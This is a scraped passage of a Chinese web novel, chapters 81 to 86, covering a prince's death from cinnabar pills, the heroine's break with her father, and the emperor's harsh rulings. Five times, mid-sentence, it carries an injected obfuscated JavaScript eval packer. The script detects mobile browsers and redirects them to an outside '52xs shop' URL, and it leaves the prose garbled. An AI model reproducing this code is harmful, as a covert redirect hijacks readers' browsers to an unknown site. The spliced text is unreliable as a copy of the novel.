景泰帝心里也悲痛的很,不想在外人面前和于妃争辩,于是直接让人把于妃送回宫。 倒是那群正在检查三皇子尸体的太医中,有个年轻的太医悄悄抬头看了一眼,然后又默默低下头去。 等这几位神情肃穆的太医彼此交流完看法之后,最终给出了一个叫景泰帝觉得荒唐的结论。 “你说朕的儿子是死于吃了太多丹药?而且是因为吃了太多回春丹?” “回陛下,从种种迹象上看,确实如此。” “荒谬!简直荒唐!” 那回春丹景泰帝当然知道是什么,无非是跟民间所谓能帮助男子强身健体的药差不多,但他儿子今年才多大?身体远不到不行的地步。为什么要吃回春丹? 第八十一章 上等朱砂 “这,这臣等也不知啊……” 自古以来太医都是个危险的职业,尤其当你服务的对象是天下权利最大的一群人时,前途性命总是时不时会伴随着玩完的风险。就像此刻,众位太医瑟瑟发抖,生怕陛下的下句话就是把他们都拖下去处死。 不过能做到这个行业顶尖的人总有过人之处,就比如太医院院正,此刻给出了更详细的说法。 “臣方才问过三皇子府中大夫,说殿下从今日清晨起就突发恶心呕吐,腹痛腹泻,种种症状表明,殿下确实死于过量的朱砂。前些时日陛下让太医院研究的回春丹里就含有大量朱砂,且府中大夫也承认,殿下此前一直有服用回春丹的习惯。所以微臣才大胆推测,殿下的死因和长期服用回春丹有关,但凡丹药总有丹毒,殿下应是身体被这些丹毒日夜摧残。且加上惊惧过度,才会突然……” 景泰帝许久都没有说话,好半晌才在太医院院正惊恐的眼神里转身离开。 发现自己逃过一劫的太医院众太医们忍不住松了口气。尤其是太医院院正,如今都是六十多岁的老人家,真有点儿扛不住,身子晃了晃,好在被旁边的年轻太医扶了一把,才没有倒下。 当发现扶自己一把的是谢明尘时,院正勉强露出个笑脸。唉,虽说给皇家看病的太医不好当,可这些年也算风平浪静。只不过从现在开始,这天下就要不太平了…… “院正,普通丹药里所含的朱砂不会这么多这么纯正。这回春丹里的朱砂竟比咱们太医院用的还要好……” 院正叹了口气。 “这天下最好的朱砂产自黔州,只是自十年前起,黔州最大的朱砂矿脉崩塌,从那以后,黔州产的朱砂越来越少,现在所用都是湘南那边儿的出产,品质上要次了一筹。” 听到这里,谢明尘眼睛微微闪了闪,将这件事记在心里。眼角的余光看了下冰冷僵硬的三皇子尸体,在此之前,他确实想过无忧洞幕后之人的下场,只是怎么也没想到陛下的亲儿子竟然也会参与其中。 更没想到的是本来陛下都已经放过三皇子,可三皇子还是暴毙了。作为局外人,谢明尘嘴上不说,心里还是有些高兴,只不过皇家至高无上的权威让大多数人都选择闭嘴。 但,如今有件麻烦事。应大人,参与到了这场无忧洞的围剿中。看刚刚于妃娘娘的样子是彻底恨上了应大人,虽说这件事怎么也怨不到应大人头上,但谁让应大人是那双揭开黑幕的手? 对于有些人来说,恨意本就来的莫名其妙。 得找个时间把这件事告诉应大人才行。 这样想着的谢明尘眼神在三皇子身上转了转,在发现对上胸膛上有一点儿猩红后顿了顿,周围这么多人,他也不好上手探查,只是默默将之记下。 其实,当三皇子暴毙的事情传出去之后,整个京城都沸腾了。这么多年来,陛下对四位皇子的宠爱有目共睹,三皇子突然死了,虽说之前犯了些错,但这人一死,再大的过错也就成了空。谁知道陛下会不会回头想起与三皇子这么多年的父子情深,继而迁怒旁人呢? 至于这个旁人,不必说,应九阙的大名首当其冲。 这也是淳于霜特意去找应九阙的原因。 “要不,你去避避?” 九阙坐在凉棚里,远远的看远处热火朝天的场景,听见淳于霜的话,微微出神。 “普天之下莫非王土,率土之滨莫非王臣。我不过是个小小的六品官,且还有职务在身,怎能轻易离开?淳于,没有陛下允许,我走不了。” 这话淳于霜怎么可能不知道?但总心怀侥幸,这会儿面色忧愁,为自己这难得的好友发愁。 应九阙倒是没那么担心,她转动手腕,茶碗在桌面上晃动,里面的茶水转成一个小小的漩涡,茶叶梗子在其中沉浮上下,倒也有种特别的旋律。 这京中的局势啊,一点就爆,这时候她是不会去当这出头鸟,就是不知道谁会出头了…… “那逆女在哪里?让她出来!我可是她亲爹!你们是谁?知道我是谁吗?让开!” 抬眼看了看外围乌泱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501234|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泱的人群,九阙叹了口气,嘴角却带着一丝微笑。 “瞧,第一个出头鸟来了。” 其实九阙也奇怪,林炜究竟是怎么当上礼部侍郎的,不会真跟别人传的那样,是因为她娘的荫庇吧?啧啧啧,因为正妻的功劳才当上大官,转头正妻死了,妾室姨娘啥的就露了头。还有比自己小不了多少的弟弟妹妹,那叫一个烦人啊。 如果林炜当真有脑子,就不会在所有人都没动静的时候率先出头。这不是净等着给别人把柄吗?当真是愚不可及。 眼看着闹的不像样,九阙伸了个懒腰,慢吞吞的走出去。 当看见懒洋洋的应九阙时,林炜原本就痛恨的情绪顿时达到了顶峰。 “你这个逆女!怎么现在才出来?!你是故意怠慢我的吧!我当初真是应该一把掐死你,免得惹我生气!” “?” 九阙还没吭声,那些来做工的人倒是按捺不住了。尤其是从无忧洞解救出来的老弱和那些残疾的士兵。他们生来困苦,如路边野草,无人怜惜,好不容易有人能看见他们的苦痛 ,应大人不仅把他们从那鬼地方救出来,还给了他们自食其力的能力和居住的地方。许多普通百姓努力一辈子,为的不就是吃穿住行吗? 应大人是个大大的好官,可这个三五不着六的老男人一过来就吆五喝六的,现在还说要掐死他们应大人,这是从哪个犄角旮旯出来的疯子? “你这老头!胡说什么?我们应大人活得好好的,怎么就忤逆了?!” “就是!人老成精,你怎么不去死?” 老头?! 林炜险些气歪了鼻子,他自幼英俊,当初年轻时大半个京城的大家闺秀小家碧玉都想嫁给他,到了这个年纪,也能被别人称上一句美中年,现在居然被叫老头?!他有那么老吗? 本来就气的脸红脖子粗,再配上周围人鄙夷的眼神,以及应九阙那个逆女似笑非笑的表情,林炜绷不住了。 “逆女!害死了三皇子还妄想独善其身?!” 第八十二章 搞笑吗? 应九阙的眼神顿时就冷了。 “连陛下都没有说我害死三皇子,你有什么资格说这句话?朝廷都没有定我的罪,你就知道我有罪了?你比专管刑狱的官员还厉害?你比陛下还有权威?” 应九阙这三连问直接让林炜卡死,他就算对着应九阙能耍一耍当爹的威风,但怎么也不敢让自己担上蔑视朝廷的罪名。但是让他对应九阙道歉,他绝对做不到。 因此这会儿,他憋的脸红脖子粗,在不客气的人群之中觉得自己好像被死死盯着,没有丝毫蔽体之物。他自从当官之后,还从来没有受过这样的委屈,这会儿简直要气死了。而这一切,都是因为应九阙这个不孝女! 不过想到今日来要做的事,林炜还是勉强压抑住自己的情绪,艰难开口。 “我今日来有要事,你让这些人走开。” 这些贱民身上都透着一股难闻的味道,跟他们待在一起的时间久了,总觉得自己身上也沾染了这些难闻的味道。所以林炜忍不住掩了掩鼻子。 周围的林大娘等人只是出身低些,又不是傻子,怎么可能看不出来这人对自己的鄙夷。这就叫大家气愤了。应大人明明是那么好的人,怎么这个当爹的这样啊?都说有了后娘就有后爹,这姓林的果然不是啥好鸟。要不然也不会把自己闺女扔在庄子里十几年不接回来。这好不容易接回来,应大人还那么争气,不仅当了官儿,身上还有县主的爵位,眼看着又立了功,还要继续升官。 这换到谁身上都会为自家孩子自豪,怎么这姓林的怎这么不一样啊?难道他多长了一条腿? “人家当爹娘的都会为自己家孩子取得的成就自豪,怎么你跟别人不一样?你真是应大人的亲爹吗?不会是假冒的吧?” “这!这什么话!” 林炜气了个仰倒,哪怕他不喜欢这个女儿,但也不想别人说这种话,这不是在质疑他的能力?当初和应重鸣那个女人成亲的时候,这样的话他就已经听的够多了,现在还要听,可他现在已经不是一无所有的穷小子!他官至礼部侍郎,在这样的年岁就能当上正三品官,且还出身寒门,谁不夸张一句年轻有为? 可在应重鸣在的时候,从来没人看得见他!所有人都在看应重鸣,好像她是什么救世的菩萨一样!不过就是个舞刀弄枪的女人罢了,当初就算没有她难道这世道就会乱?就算再怎么被人称道,到最后不还是死了? 啧,没想到这个一直都不想看见的女儿也是这样,哗众取宠,叫人生厌。 林炜已然不想多说,他本来还想给应九阙留些颜面,但现在是她自己把握不住机会,于是当着这些人的面直截了当的开口。 “逆女!你自从回到京城,就没一日安生,实在是扰的我林家鸡犬不宁,今日,我就逐你出宗,今后,你再也不是林家人,你的所作所为,跟林家再没有丝毫关系!” 这掷地有声的话果然叫人群瞬间冷肃,林炜甚至忍不住露出了得逞的笑容。 害怕了吧?害怕的两腿发抖了吧?如今这个世道,若是被家族逐出去,跟孤魂野鬼有什么区别?死了也不能葬在祖坟里,应九阙就算再怎么倔强,也不敢拿自己的身后事做赌注。若是应九阙能够立即匍匐下来对自己道歉行礼,那他勉强可以考虑将她逐出门去的时间…… “他刚刚说了什么?” “好像是要把应大人赶出门去?” “不是吧?” 林炜嘴角的笑容还没有扩大,就听到叫他眼前一黑的话。 “应大人不是都没住在林家吗?这怎么赶出去?难道要把应大人从自己的府邸中赶出去?他有这个资格?” “应该没有吧?别听他胡咧咧,就是个疯子……” 林炜简直要气的发疯,这些愚蠢的下层人,到底知不知道什么叫逐出家门?那是要被除宗的!果然是一群连族谱都没有的平民,什么都不懂! “应九阙!别装傻!你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501235|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是什么意思,只要我想,你下一刻就会被赶出去……” “好啊!” “我就知……啊?你说什么?” 对上林炜诧异的表情,九阙无所谓得很。她又不是土生土长的古代人,被赶出去,和现在的生活又没有什么区别,不如说好像比现在还要舒服些。至少不用每次上朝都被林炜用诡异的视线盯着了。 林炜估计以为自己不知道,之前上朝的时候,他总会用一种复杂难言的眼神盯着自己。还不是一次两次,九阙又不是个傻子,自然感觉得出来。 她这个父亲,估计是羡慕嫉妒恨吧?嫉妒她这个女儿小小年纪就能得到陛下信重,嫉妒她得了县主的爵位,嫉妒她可以在皇宫自由出行。当然,最嫉妒的,是她明明只是个女人,却可以在整个京城上空发光发热,得到绝大多数人的注视。 虽说天底下大多数的父母都希望自己的儿女比自己出色,但也有些父母,若是儿女的成就超过自己,就会觉得不自在,甚至嫉妒。 这也是复杂的人性了,应九阙反正不在意这个便宜爹。早就看林家不顺眼,现在可以脱离出去,她简直做梦都要笑醒。 不过林炜的反应是不是太剧烈了些?自己不喜欢的女孩儿就要被赶出 去难道他不应该高兴吗?为什么现在一副天塌了的样子? 哦,她知道了。难道他这个当爹的今天过来说这么多话只是为了吓吓她,就为了让自己服软? 那就可惜了,她可不是会服软的性子,更何况今天他来这一招正中自己下怀。免得想办法脱离林家了。 说实话,有这么一个拎不清的当家,林家只不过是个小小的寒门,甚至是从林炜这一代才开始有人当官,在如今这越来越混乱的朝局之中,根本不可能保存,现在脱离开,免得到时候拖累自己。 就是这个林炜,好像根本不想让自己脱离啊。那闹这一场是做什么?搞笑吗?啧啧啧,真叫人无语。 第八十三章 分宗 “我说,那就分宗吧。” 怕这位名义上的父亲听不清,九阙还好心的重复了一遍,甚至还露出个淡淡的笑意,似乎对这件事很感兴趣。倒是林炜,一副被打击的不敢置信的模样,直愣愣的,有点儿蠢。 周围木老她们其实本来有些担心,但看着九阙丝毫不在意的模样,悄悄松了口气。 “这位大人,我们应大人说愿意分宗。” 林炜猛然回过神来,一张原本算得上英俊的脸憋得通红,好一会儿才说出话。 “你想得美!只有男子才能分宗,你不过是个未出嫁的女儿,哪里能分宗?只能除族!” 九阙的眼神冷了下来。 “你确定?” “自然!” 林炜来了神气,以为应九阙这是怕了,但没想到应九阙下一句话险些把他肺管子顶出来。 “这就不好办了……除族总得有个名义吧,你要以什么名义除我?说起来,我是嫡女,林大人至今尚未续娶,所生子女也不过是庶子庶女,可前些时日陛下寿宴,一群庶子庶女竟也一起出现在了宴会上。林大人不是礼部侍郎吗?本应是天底下最懂礼法之人,怎么还会明知故犯?莫非,你没把陛下放在眼里?” “你?!” 林炜气的呼吸不畅。 其实九阙没想把这件事明晃晃拉出来,毕竟那几个庶子庶女年纪也不大,没必要把事情做绝,可林炜现在都把歪主意打到自己头上来了,她还有什么可保留手的? 就算她自己想留手,林炜也不会给她一个好名声。这好名声,她可以不要,但不能没有。更何况林炜算个什么东西?当初凭借着应重鸣的身份地位爬到朝堂上,还要嫌弃应重鸣给的饭酸臭。一个虚与委蛇的凤凰男而已。从把自己的亲闺女扔在庄子上十几年不闻不问就能看出来不是个好东西,之前九阙被封为县主的时候还假模假样想要她回家去,这一出点事儿,立马就想撇开关系,不是九阙说,这人的段位实在太低了。 “难道我说错了?当初一起参加陛下寿宴的人不是你的女儿妾室?啧啧啧,当初虽然那些夫人小姐没多说,但林大人家的家教也算是叫人看清楚了。若是这件事再传出去,也不知道会不会给你定个治家不严之罪?不过也没关系,这普天之下当官的,又有谁没被参过?林大人只需要坚持一段时间,唾面自干。这名声之事,自然也就渐渐淡了。毕竟你当初不就是这样做的?现在说林大人凭借妻族的威风一路扶摇直上九万里的人不也闭嘴了?” “你这个……” “哦,林大人又要叫我闭嘴了吗?唉,其实您何必呢?从到这里开始,你也不知道说了几句‘逆女’‘闭嘴’了,听的我耳朵都起茧子了。说这话有什么用呢?不过是叫自己难堪而已。毕竟,这可没人听你耍当官的威风。” 林炜一手捂住胸口,一面大口喘气。只有那张面皮,已经变得青紫红肿了。 这一辈子最要面子的人啊,就被应九阙几句话当着自己最看不起的贱民给扒下了面皮。 其实九阙一般来说不喜欢揭人揭短,因为杀伤力太大,可对着林炜,她却一点儿也不想留手。或许是因为原主留下的情感吧,九阙只嫌自己杀伤力不够大。 不过还好,林炜估计是怕自己被气死,而且看这里那群刁民虎视眈眈的样子,也不像是会站在自己这边,于是怒气冲冲的从怀中掏出族谱,将记载着应九阙那一页的纸狠狠撕下扔在地上。 “那就如你所愿!从此以后,你跟我林家没有丝毫关系!你就走你的独木桥!日后是生是死,不必告知我,我林家祖坟,也没有你的位置!” 换句话说就是你以后就算想死也给我死外边。 应九阙还真不怕这种程度的威胁,捡起那张纸,随手撕了个干净,往风里一抛,那些细小的碎片就消失不见了。 拍拍手,招呼大家继续干活。 “大家继续加油啊!等再过三日,咱这棚子就建成了,好日子还在后头呢!” “好!” 原本还有些担忧的人们看应九阙丝毫没有被那突然冒出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501236|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的林伟打扰的模样,也悄悄松口气,继续热火朝天的干起来! 建设自己的家园,只要想想应大人说的这话,大家就觉得体内有无穷无尽的力量,真好啊,他们现在是在建设属于自己的家园,这怎么能不尽心呢? 倒是林大娘,这会儿一边挥舞着锅铲做饭一边小声跟自己姐姐叨咕。 “我刚刚真是吓了一跳,还以为刚刚那个大官儿要动手呢!” “那你刚刚还冲在前头?” 明明那么害怕当官的,还冲锋在前,真是个傻子。 可林大娘理直气壮。 “谁让那姓林的骂咱们应大人!应大人可是个大大的好官,谁骂一句都不成,我心疼着呢!再说了,应大人再怎么能干也是个小姑娘啊,咱们这么多老家伙在这里站着,总不能眼睁睁看着外人欺负了咱们应大人吧。” “你可真是嘴硬……” 听到这段对话的应九阙眼里露出些许笑意。怎么说呢,有时候哪怕只是一点儿微不足道的态度,都会叫人忍不住心生愉悦啊。 倒是一边站着的淳 于霜若有所思。她一直都奇怪应九阙为何要对这些平民百姓这么好,现在看来,或许,只有这些人会如此朴实,若是你对他们好,他们就会不遗余力的对你好。 仅仅是这种态度,就足以叫人心里酸酸的了。 不过,九阙如今已经和林炜闹翻,朝中局势也不明朗,有这件事在前…… 风雨欲来啊。 “淳于,把那根绳子递给我!” 抬头看看毫不担心的应九阙,淳于霜叹口气,还是拎着绳子走过去。 “来了!” 算了,既来之则安之吧。反正淳于霜觉得应九阙没有做错。她只是没有对方的勇气,才会只敢在心中默默庆幸三皇子死了。 否则,就三皇子那种可以将自己子民随意买卖的性子,如是日后当真登上帝位,也是大景朝的不幸啊。 反正现在只要陛下不发话,谁敢对应九阙下手? 第八十四章 最是无情帝王家 而正被淳于霜惦记着的景泰帝日子也不好过,自从老三暴毙,折子似雪花般飞到案头。虽说大多数都是在表示哀思,甚至要大操大办丧事的,但也有一小部分人在暗搓搓的探查景泰帝的意思。 这无忧洞一案都已经查到这里了,几乎查无可查,相关人员都死的差不多,是不是可以到此为止了?毕竟,现在连三皇子您的亲儿子都死了?这代价也太大了,要是能到此为止不是更好? 可谁都看不到景泰帝坐在那把冰冷的龙椅上冷笑出声的模样。 “这些人,当真是一点儿都不了解朕。” 他确实很疼爱自己的儿子,那是因为他从小吃苦,享受不到时世间大多数的美好,所以,在有能力的时候想让自己的儿子享受享受怎么了? 但是,他可以给儿子们锦衣玉食的生活,不代表在老三做了这种事之后,会置若罔闻。 疼爱了那么长时间的儿子死了伤心吗?当然伤心,可一个人的死亡,怎么能跟整个大景相比? 如今的大景,是景泰帝毕生所愿,平生仅有,也是最大的成就! 前朝末年,天下风雨飘摇,死伤之人何止十万?百姓流离失所,战士客死异乡,当初,他不过是个十几岁的半大少年,被这世道逼得活不下去,才铤而走险,加入了起义军。 那么多起义军,能走到最后又有几个?大多数都在崛起的过程中没了。就算在起义军中,他也过得提心吊胆,晚上都睡不好,毕竟谁知道会不会在半夜睡着的时候被人割掉了脑袋? 他前半生,几乎是一路提着脑袋在过活,在没有足够武力保证安全的时候,景泰帝根本不敢有孩子,因为他见过太多双方相争,打不过对方就拿彼此家眷出气的场景。他那时候有一个大哥,父母妻儿都在家乡,可就在一场斗争中,双方战场挡着无法将父母老小接过来,在打仗前夕,对方将领直接将他父母兄弟姐妹一家老小全都绑到阵前逼他投降。每数十个数就要杀一个。不答应,那就接着杀! 景泰帝记得很清楚,当初那个大哥牙都咬出血,却还是死撑着不肯投降,因为背后有一群将身家性命都交给他的兄弟,要是投降,没人能活下来。 最后冲锋的时候,那一家老小的尸体就在双方的马蹄下被践踏成肉泥。最后那一仗艰难打赢了,大哥浑身是伤,几乎是扑到地上,一把把将那血肉泥捧起来。因为分不清到底是谁的尸骨,所以最后只能建了个大坟,将那一家人葬在一起。 从那以后,那位大哥打起仗来越发不要命,很快就因为伤势过重死了,死之前拉着景泰帝的手痛哭流涕。 那场景给了景泰帝很大震撼,所以,景泰帝是在做了充足准备之后才要的孩子。也因此这四个孩子没有受太多苦,当时他很庆幸自己能做到这样,可现在想想,没吃过苦对他们来说,或许也不是件好事。毕竟,老三的事儿就是个很好的例子。 现在另外三个孩子看起来也很好,但在此之前老三和平王看起来也是好孩子。这孩子们,一眨眼时间就长大了,小时候总觉得他们像一泓清泉,一眼就能看到底,现在不是了,现在他这个当爹的,都看不清那水底是什么样了。 想想还觉得怪心酸的。 但是!唯有一件事,景泰帝绝对不会放弃。 将面前那些满是屁话的折子一把全扫到地上,景泰帝眼神锐利的盯着养身殿墙上挂着的那幅地图。那是大景朝的地图,那是他穷尽半生打下来的事业,那是他愿意为之付出一切的天下! 所以今日,别说死的是他的儿子,就算有朝一日他死了,这天下,也不能乱! 最是无情帝王家?哈!任何试图扰乱天下的人,都是他的仇人! “九福,宣旨。” 九福毕恭毕敬的弯下身子,听着这位他平生最敬仰之人一字一顿的下旨。 “庶人景凤翔、李平,平生未见功绩,故,不入皇陵,葬于源城。遣散其妻妾,内务府给予安家费。” “于妃李妃,中年丧子,朕怜其心痛,送入皇觉寺,颐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501237|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养天年。” 九福猛然睁大双眼,却没有多说一个字,只是恭恭敬敬的带着两道圣旨出去宣布。 看着九福离开的背影,景泰帝缓缓吐出一口浊气,脑海中忍不住回想起三皇子平王和于妃来。 “爹!等我长大了,要做一个大将军,帮爹把那些坏人都打跑!让大家都快快乐乐的,不会再伤心。” “还有我!我会好好照顾弟弟们,做个好孩子。” “相公,近日奔波辛苦了,妾身做了两道小菜,快来尝尝妾身的手艺……” 那些记忆仿佛就在昨日,勾勾缠缠,让人忍不住多加回忆。可景泰帝猛然睁大眼睛,将那些记忆的碎片击碎,低头继续批改奏折。逝者已矣…… 生者,总要继续活下去。 当这两道旨意传出宫去,所有准备劝陛下到此为止的话都被咽了回去。 一处装点的格外雅致的别院里,身穿柔软衣袍的人抱着软绵绵暖乎乎的暖炉,禁不住发出一声长叹。 “咱们这位陛下,当真是做大事的人。” 可不是做大事的人吗?儿子都死了,眼都不眨一下,连皇陵都不准 入,宁愿万里迢迢送回老家安葬,两位相伴多年的妃子也能送到寺庙里,说是颐养天年,不就是变相的软禁吗? 不得不说,景泰帝弄这一手,直接镇住了所有不死心的人。 “让底下人安分些。近些日子,不要出来现眼。” “可是大人,咱那些产业……” “嗯?” “是是,小人知道了。” 等蠢货属下离开,那人拢了拢身上的大氅,露出一个讥讽的表情。 如今天下灾祸不断,人祸频发,仍有北蛮南夷虎视眈眈。夺位而来的皇帝?哈,景长泰,我倒要看看,你这么劳心费力,到底要怎么把龙椅传下去。就你那四个蠢货儿子?哦不,现在已经是三个了。 一想到这里,他就浑身舒泰啊。哈哈哈哈…… 第八十五章 都是些屁话! 当一直待在城外建设新村子的淳于霜等人听到这个消息的时候,几乎麻木了。陛下竟如此绝情?那可是他亲儿子和妃子啊! 倒是应九阙,一点儿都不惊讶。 “陛下本来就不是会因为私事动摇的人,再加上这次无忧洞一案,三皇子和平王确实牵涉其中,还有人命案子,陛下不亲自下旨杀了他们就已经足够宽宏大量。难道还真指望着人死百事空?那些无辜惨死的人可没有这么宽容。” “而且那两位娘娘,陛下此举也是为了保护她们吧。中年丧子,最容易丧失理智,若是因此被人挑拨犯了律法……陛下不想对她们下手。” 淳于霜有些惊讶。 她在朝为官也好几年了,平日里很少能接触陛下,也是因为这段时间和应九阙相处较多,所以才有了面圣的机会。但那些常年在朝为官的大臣们可不是没时间跟陛下相处。但他们怎么就摸不准陛下的心思? “你怎么那么了解陛下?” “我这不算了解吧?陛下的性情难道还不够明显?他本来就是个勤政爱民的好陛下。这种事,他本来也没打算遮掩,而且你看看四周。若不是有陛下的鼎力支持,这村子还建不起来。其实陛下的心思很好猜,你只要踏踏实实的干活,不贪污犯法,为百姓着想,陛下就会喜欢你。不过就算换成个地主老财也是这样吧?谁会不喜欢老老实实干活的下属?很容易讨陛下欢心的。淳于,加油啊!说不定下一任宠臣就是你了。” 淳于霜:“……” 说的倒是容易,整个大景朝的官员都想更了解陛下,想得到陛下的赏识,可天下至难之事,对应九阙来说,却易如反掌。这世间的事,还真是难说的很啊。 算了,她今日来是别的事。 “你还记得谢太医吗?谢明尘太医。” “我当然记得。咱们之前还一起办过案子,就是可惜,这几日很少见,应该是太医院忙吧。” “确实挺忙的,你应该记得三皇子暴毙一事,前去验尸的人就有他。” “他不是说自己是太医不是仵作?” “都差不多,而且谁敢第一时间找仵作去验尸?自然要先去救一救。不是,重点不是这个,昨日他找我,说了一件事。” “什么事?” 见淳于霜面色严肃,九阙也知道事情的严重性,看一眼四周,没旁人,凑的更近了些,有些好奇。那位武力值极高就是有些倒霉的崔前辈还没离开,她身边安全得很,不担心别人偷听。至于崔前辈本身,那位前辈对这种事情不感兴趣,她更好奇应九阙准备如何凭空生出蘑菇来。 这边,等听到淳于霜说清楚之后,九阙忍不住皱眉。 又是一朵朝颜花? 这朝颜花出场的频次是不是有些高?而且这个花每一次出现都有些怪异。再加上这回春丹和之前那位状元郎吃的丹药,这种种巧合,很难不让人觉得这些死者之间一定有某种联系吧? 但是,三皇子不是暴毙而亡吗?不是因为吃丹药吃的太多才死的?和……等等! 那位状元郎也是因为临死之前吃了丹药刺激到了药性暴毙! 嘶—— “这事儿,谢明尘跟陛下说过没有?” “没有。当时情况太过混乱,陛下刚痛失爱子,谁敢在这个时候提起?而且,对姓余的死因知之甚深的太医,也就只有谢太医,其他人都没发现的时候,不高挑这个头。” 说到这里,淳于霜感同身受。同为官场新人,她也遇到过这样的情况,若是直截了当提出,反倒会让那些没有察觉到的前辈们感到自己的权威受到了挑战。 当初年纪尚小的时候,确实也因为这些官场规矩吃过苦头。但是没办法,她比谢明尘还差些,家中无人照拂,还是个女官,步步掣肘,很是艰难。 本以为应九阙不会理解他们的苦衷,明显是对方瞬间就明白了。 “原来是这样,要不我带他进宫一趟?还有你,你对这案子很感兴趣吧?不如一起进宫探查一番。放心,我这点儿颜面还是有的。那些人一直都等着看我笑话,但陛下直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501238|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时候还没处置我,难道不能代表他的态度?” 淳于霜没想到还有自己的事儿,但想想又是一次进宫面圣的机会,很是可耻的心动了。她务必要抓住每一次机会露脸,否则,朝中这么多臣子,就算前些时日陛下已经大大处置了一批,可新的臣子立即上位了。大景朝那么大,读书人那么多,想做官的更是不计其数,死些臣子而已,立即就能补上。 正是因此,她得让陛下能看到自己的长处。否则,酒香还怕巷子深。 几乎没怎么犹豫,淳于霜就应下了。只是应下了之后她也觉得很神奇,平日里她总是小心翼翼的遮掩,生怕别人知道自己的野心,本来她一个女人入朝为官就已经很让人不满,甚至有很多人都参过自己。若是让别人自己不仅有幸做了女官,还野心甚大,前途堪忧啊。 但很奇怪,在九阙面前,淳于霜一点儿都不担心自己的野心会被她发现。 难道就因为她们都是女子?这些年,朝中也不是没有女官啊…… “这有什么?” 九阙看出了淳于霜的吞吐难为 情,直截了当的表示这很正常。 “野心这东西,男女老少都会有。既然读了书,知晓了王侯将相国家大事,又怎能不当官?既然当入朝为官,又怎能不朝着最大的那个努力?这和男女没有关系,若是有人因此说你野心太大,记住,那一定是对方嫉妒你,想用这种屁话让你知难而退,好让出一条路给别人往上爬。” “所以以后但凡遇到这种说‘一个女人怎么能不安于室’‘一个女人怎么能天天想着升官发财’这种屁话的人,赶紧离远点儿。” “嗯,为什么?” “我怕他们被雷劈的时候波及到你。” “……哈哈哈哈——” 原本还在认真听应九阙讲话的淳于霜愣了片刻,突然哈哈大笑,笑的眼泪都快出来了。 应大人啊应大人,说话总是这样犀利,怪不得之前那位林侍郎被气走之后就叫了太医呢,真是会说哈哈…… 第八十六章 陛下召唤 “嗯?” 正在一边努力搬送馒头的应远道几个小家伙听见这爽朗的笑声,忍不住抬头,就看见那位一直十分严肃的淳于大人哈哈大笑的样子,都有些惊讶。这位大人一向端重严肃,从未这般开怀,但是想想她和应大人在一起,大家就不觉得奇怪了。毕竟是应大人嘛,和她在一起的人很难觉得不开心啊。 “不行不行!这东西太重了,再找几个人过来吧。” 就这这时候,三个抗木柱子的青壮年喘着粗气停了下来。这木柱子都是从后山的树林里砍得两人合抱的树,虽说晒了几日,这会儿还有水汽,三个人抬一根还是太勉强了。 就在大家伙招呼人过来的时候,九阙发现这边的窘境,大步走了过来,大家看到应大人走过来有些不知所措。其实他们早就已经习惯用大人和自己一起劳作,但让他们不知所措的不是应大人平易近人的态度,而是她那大到不可思议的力气,就比如说现在,应九阙只是伸出一只手,就将那根粗的吓人的柱子举了起来。 是真的举了起来,比大家的头顶还要高出一只手掌的距离。那三个抬柱子的青壮年苦笑着看眼前这一幕。每每看到应大人这样,总会怀疑自己到底是不是个正当年的壮劳力,怎么就连个小姑娘的力气都比不上? “哇!” 